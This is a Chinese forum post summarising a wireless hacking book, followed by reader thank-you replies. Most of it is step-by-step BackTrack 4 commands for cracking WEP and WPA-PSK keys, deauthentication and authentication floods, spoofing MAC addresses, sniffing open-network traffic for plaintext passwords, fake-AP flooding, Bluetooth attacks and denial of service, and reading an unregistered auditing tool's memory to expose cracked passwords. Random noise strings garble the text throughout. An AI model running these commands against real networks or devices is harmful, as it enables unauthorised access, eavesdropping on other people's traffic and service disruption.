《无线黑客傻瓜书》读后总结

wrczeus

这本书看了一个星期，终于看完了，现把书上的精华总结成如下内容，条理化知识点。

: d3 Z9 f" h! ?. \) d以下所有操作均在BackTrack 4中进行。


( b0 E3 @/ o- V6 O% ~; ?8 ?+ J无线WEP加密P解：

4 j4 m" `+ m! G; ?2 L0 k  S7 b注入P解：

& x/ n1 \0 a( gifconfig
. t4 I% u. L, X) Q
8 ]% K$ |' W8 }2 Xifconfig –a
1 c* L% p& N+ I" o4 i# n
  U+ d4 W( ^5 ^+ }8 Gifconfig wlan0(无线网卡) up

- B1 ~* \. a: Sairmon-ng start wlan0

airodump-ng mon0
5 @2 G: a, w/ F% P; p
" H6 X7 n8 ?3 f  V2 r7 K7 w) qairodump-ng --ivs –w ivsfile –c 频道 mon0或

$ H) t2 B( t& J5 S- M, k7 \# Hairodump-ng --output-format ivs --ivs –w ivsfile –c 频道 mon0

aireplay-ng -3 –b BSSID –h Station mon0

aircrack-ng ivsfile-01.ivs

虚连接P解（适用于无客户端连接APP解）
+ q8 a) q/ C2 F" f
, o( s5 J4 [, ?% o4 t. ]; g6 `ifconfig
" k7 j- g0 A; }6 k
ifconfig –a

8 f0 u( [- x# ~* W9 u, v1 ]. Gifconfig wlan0(无线网卡) up

1 o: g& p) t( e! uairmon-ng start wlan0
, J7 [  `  O, I+ ^) q3 x- i
airodump-ng mon0

6 B, t* u9 C6 Eairodump-ng --ivs –w ivsfile –c 频道 mon0或
. m! k' d. \* O4 f: U3 v( t" e% K
* s* u8 }( ~! h9 x4 oairodump-ng --output-format ivs --ivs –w ivsfile –c 频道 mon0

% _$ }9 |0 v  N+ l, \2 k1 Daireplay-ng -1 0 –e SSID –a BSSID –c Station mon0

  @3 I- b" c5 h7 w3 laireplay-ng -2 –p 0841 –c ffffffffffff –b BSSID –h 自己的MAC mon0

aircrack-ng ivsfile-01.ivs
# ~: n) \3 t2 S  Q  O: G+ E

还有傻瓜式P解软件SpoonWEP2，SpoonWEP2中的Chopchop和Fragment来进行无客户端P解，P解时客户端MAC栏留空。


WPA-PSKP解
; M$ v+ p$ M% E5 Y; _$ _: ]
ifconfig
: x1 a+ N0 v, R. S8 b: T& w8 w
ifconfig –a

ifconfig wlan0(无线网卡) up

airmon-ng start wlan0
1 }3 m' q& j( ?9 I2 d+ x/ w* F
4 D6 |0 p; t9 G+ |% r: M# G1 k, Gairodump-ng mon0
, v7 t( @# l2 U
airodump-ng –w capfile –c 频道 mon0
7 U! ^2 p% R6 ?) A& Y; h
2 K: I5 Z  l0 o. s' `aireplay-ng -0 10 –a BSSID –c Station mon0 //Deauth洪水攻击使合法客户端掉线捕获其与AP连接时的握手数据包

aircrack-ng –w Dic capfile-01.cap或

cowpatty –f Dic –r capfile-01.cap –s SSID
/ I" W! g, r6 _4 T- ]; W
cowpatty –d HashTable.Hash –r capfile-01.cap –s SSID

傻瓜式P解软件SpoonWPA。

6 [& ~0 l. q: b& G9 dBT4下自带的字典文件：/pentest/passwords/wordlists/darkc0de.lst

# a+ _$ I  q. H5 V! D
字典文件的生成和上传

在windows下使用生日密码生成器和社会工程学密码生成器 等生成字典。然后在BT4下开启Tftp、SSH或使用U盘传输。

  S$ \" p* B4 u/ |2 g
BT4下开启Tftp：Services—TFTPD—start TFTPD

在Windows的CMD中运行 tftp –i IP put **.dic
# L3 ~* w" O1 R3 u; j

BT4下开启SSH：Services—SSH—start SSH
3 ?, y' N- S% W/ [6 I; Y
Windows下使用CuteFTP新建连接:File--New—SFTP(SSH2)连接。使用BT4的root用户登录，前提是设置、修改密码：passwd root

* C4 W* H; m3 v7 Q2 ?2 l
# f0 G. c( m. g9 {9 b* oAP限制MAC时的解决

当AP限制IP连接时，可以伪造为合法用户的MAC，关于AP连接的用户以及MAC，可以使用airodump-ng mon0查看。在BT4下修改MAC的命令为：

ifconfig wlan0 hw ether NewMAC
( `( O( f0 |7 A4 s4 X, h1 \1 e; b; [

+ d! s, j1 V9 {关闭SSID广播的AP探测：

1.     Deauth攻击:

0 O8 l; s3 x: J. y  mairodump-ng mon0
3 Y% x8 Q0 U/ X5 ~: T" r) G
8 P4 o# x4 H% n7 \5 Aaireplay-ng -0 10 –a BSSID –h Station mon0

2.     抓包分析

Omnipeek
9 d3 _% ?& ~0 P5 l) m- `
" |! s6 a# {  M. M% Q3 GTcpdump –n –e –vvv –i 网卡名

3.     暴力P解
+ w4 s! A* L% B9 m$ s& C
Charon 1.1暴力P解
7 Z0 `% R4 C6 \3 Y! D) P  T3 x
! H& v/ |+ ?7 y0 ?, [: ^
无线加密数据包的解密

% D: t  S& ~' e0 Q) l2 m
& h! D! v1 J- G1 {& g% q5 u; `$ i使用airodump-ng –w capfile –c 频道 mon0 捕获数据包并P解AP的密码 ，使用Cain的Cracker项在802.11Capturea导入解密。解密完后的数据包用Wireshark打开即可分析。
8 ~" P6 y, v7 k1 z
: k  o. `) g- [- b4 KFilterNS     DNS解析数据包
+ z3 {; v: `% F3 c
Filter:HTTP    WEB访问数据包
7 O9 e- N( ~3 d1 d( |% \. Q
Filter:msnms   MSN
( m: L3 J3 K4 W2 d6 E
# Q; I) o. M/ T; ~" aCtrl+F查找pass可以寻找一些明文的密码，如论坛等使用非SSL连接的账号。

! K+ ]9 g7 }( |" i2 B7 t) l" x使用airdecap-ng解密：

Airdecap-ng –b BSSID –e SSID –w 密码 ***.cap
- S9 U9 U, X& |3 a1 N) _8 m
  W; g3 t; b' _% X1 H8 e& e6 J. Q
8 u- u9 P% o; J$ `! P6 w/ W. b' T" @咖啡馆中无线数据截取(开放式无加密AP)
. N6 u  T/ y" N" C5 f' o
1.Airodump-ng –w data –c频道 mon0

- {4 _7 h- |; Y2 g. K; S2.使用WireShark打开分析
3 `- l2 R6 [) l6 W, k( h9 m

BT4下的渗透工具：

  }% F( U2 s/ Y& k% E! knmap –sP IP/24        判断C段下存活的主机
: F2 G0 s: K' C, |2 ?+ _3 Z
$ N9 k' P! e) m! s9 Unmap –vv –sS IP/24 –p Port    扫描指定端口是否开放
. ^5 X  N! j9 o: J& S& y
nmap –vv –sV IP –p port   指定端口的详细信息。。。
/ e: O$ k8 N( R; G! {
namp –O IP/24    判断主机的系统版本

! i/ W5 o8 i- ]) s$ m
GUI 版nmap：Zenmap
* s: A) b$ ]; S! E& N  L( }

4 _( `" q; f5 p4 I: \) {Amap使用：amap –B IP port
4 y# @8 G( Z! g2 U# ?3 {" L4 g
Nbtscan(扫描Windows网络NetBios信息)：
7 Z  Y* G6 N% g  c& D; ?, @" ]7 J
! E; J  |8 x. t, B8 knbtscan –v –s : IP/24
$ j/ ^$ M: O1 ~% [
: j1 i+ l/ W/ w+ U' |) k. Rnbtscan –r IP

/ ?5 r0 N* w+ Y/ D1 Q' r+ T
DNSWalk(指定域名的DNS探测):./dnswalk XXX.com.
% C7 P$ R* P! ]
6 N, U" }  {6 ^4 n+ O) f' ~
HydraP解工具（backtrack—Privilege Escalation—PasswordAttacks—OnlineAttacks）

BruteSSH: ./bruthe.py –h IP –u Username –d Dic

Metasploit3使用
8 w% q9 B; V8 V7 w+ T% U, Y无线D.0.S


" v0 ^3 M" l9 C# r" ZAuth Flood 攻击（Authentication Flood Attack，身份验证洪水攻击）

4 _6 q  r' l8 Gairmon-ng start wlan0

9 z6 R- P6 K4 B$ v8 pairodump-ng mon0

mdk3 mon0 a –a BSSID

$ T- N4 v: j/ o: a% M' |对所有的AP攻击：mdk3 mon0 a
  c* G  U( e, R* }8 U
* i4 y0 Z/ Q& A# Y& M. Z
  c4 p+ t& z; [% O* M0 NDeauth Flood 攻击

4 b5 E  f+ y1 k, ?2 m: C( Q1 {$ [" Mmdk3 mon0 d –c Channel

图形化D.O.S攻击：Charon
( ^% E4 Y( B+ x5 I8 Y1 {

当受到攻击时，使用Wireshark抓包可以看到异常信息。
: I% j6 e" o# }9 Q( I+ |2 _+ l
  T$ z4 N5 ], g* G  o
( u4 L- B0 ]. F+ s9 `" mWPA-PSK高速P解
! S' I/ {( `2 t  S8 x) q( l; t
. T' ?- B. f' d2 x9 Z( c1.       WPA-PSK PMK Hash TablesP解
2 ]" {. R$ Q& s! K8 j
! a# Z1 I" o. kCowpatty –d HashTable.hash –r ***.cap –s SSID

Hash Tables的制作: genpmk –f Dic –d SaveHash –s SSID

# d, C+ w9 I! h1 s2.       GPU辅助高速P解

使用EWSA(Elcomsoft Wireless Security Auditor,无线安全审计工具)导入WPA握手数据包P解，未注册版P解后密码只显示2位，但是可以使用WinHex查看（ALT+F9）ewsa进程的内存，搜索 密码的前两位。就可以看到完整密码。

3.       分布式P解

# Y# u, a% F0 ]$ d) }$ X
AP的伪造

把AP的MAC改成目标AP的MAC

5 K. m8 I0 O8 m$ B8 t+ w网卡软AP


伪造大量虚假AP信号：

随机SSID：mdk3 mon0 b –g –c 频道

指定SSID：mdk3 mon0 b –g –c 频道 –n SSID –s 速度


  z9 @. W" K7 k* [1 C* |5 ]War-Driving

热点地图绘制

Windows Mobile系统智能手机配合GPS模块，使用WIFifofum探测，把结果导出为kml(Google Earth可识别格式)，在Google Earth中打开即可完成热点地图绘制。

9 |# t. z, U9 @" x) K3 p9 m  A5 t
Netstumble
$ w, c% X8 `. ^9 B3 n8 A
  F4 Q/ W( }$ _  |( f# R6 h! }+ u' i
蓝牙Hacking

/ d8 \8 w* W6 ~3 fWindows下的Blue Soleil工具

# \+ G0 s% m* O0 i' rBT4：
% [3 X+ M2 [' a8 E2 h) b- |5 n
hciconfig 查看蓝牙适配器

' J# L3 o! J4 r9 _hciconfig hci0 up 载入蓝牙适配器
& P5 t! X4 {; Q2 u
9 O6 O8 y% a0 C/ E1 Mhciconfig hci0 class 蓝牙适配器详细信息


4 ~) h. Q0 k( P, {3 o: Z- Ghcitool（扫描蓝牙）
, O- a8 K" R+ I7 c* E% w
hcitool –i hci0 scan

# p; _% [, S* y1 cBTscanner(扫描蓝牙)


蓝牙攻击：
$ \8 z/ T! h" @% g: O3 c! v/ t
BlueBugging (适用于BlueTooth V1.1的手机)
2 f+ b) C9 _8 |2 l. \! k/ V4 T
7 Y) e: _# U) r0 HBluebugger工具：

Bulebugger –a HD_Addr info
6 n3 K$ b& g1 V* I  O
% R& b+ W, g7 V
  y0 S# ?/ W2 B2 W: {3 mBlueJacking

; a0 T3 x1 w$ M, u; I# D4 M实现方法：使用手机伪造假的名片，里面写上消息内容然后发送。
$ E* \; W1 D3 w1 g3 P7 j( m
2 b: j2 i+ f5 k4 I* d: U
1 E, k+ P, [: Y  F, q3 ^HD_Addr修改：

Bdaddr工具
* {1 t8 X& {: S6 L0 l) M
  d/ {  |* I, i3 F; N" ]bdaddr –i 蓝牙设备名 新HD_addr
: V5 R1 r% z- |+ X

蓝牙D.O.S

l2ping工具(蓝牙连通性测试工具)，改变其发包数据包大小，使目标设备拒绝服务

hciconfig

" B3 C1 n5 i( u( Y6 T+ ~1 Vhciconfig hci0 up
; ~4 u  K6 K; c$ _! g6 m. P
hcitool –i hci0 scan

l2ping –s 10000 –目标MAC

- B* v6 w8 p: M
不可见状态的蓝牙通过RedFang暴力P解（暴力尝试所有的HD_Addr）（概念性的软件）
# d+ G% F1 S" {: M
./fang –r ************-############ -s
" V+ q1 e! }. q9 @4 E
$ {2 N0 M2 Y, l5 u# X2 I- R( o; h暴力P解************-############的蓝牙设备

8 F* n5 p% j/ [1 y( p+ \4 i1 _./fang –l 各厂商BD_Addr分配

" I( F6 ~  p/ s& _
WifiZoo使用

./wifizoo.py –c Capfile

访问127.0.0.1:8000即可登录Wifizoo管理页面，查看数据包分析的详情

tlwxs

传说中的沙发？

yuanbin0710

我还正在学习中，先收藏。

wo2rikku

总结的很好~谢谢分享

天鹅爸爸

分享成功的经验

yggdrasil2008

呵 ....正在努力学习当中....

donglianjun

Exellent digest

neglinhai

谢谢看了！

na2650945

谁有电子的。
3 b5 ?+ x) a/ y. @4 g1 V借来看看。

applehdh

LS的 估计不可能的 会被管理员和谐的
呵呵 其实也不贵 21块 快递再一点
  T* n3 t' K8 Y& L我们也支持一下超级版主这么多年对我们的解答哈

实习魔法师

回复有理，顶贴无罪

tuilly

顶起~~~~~~~~~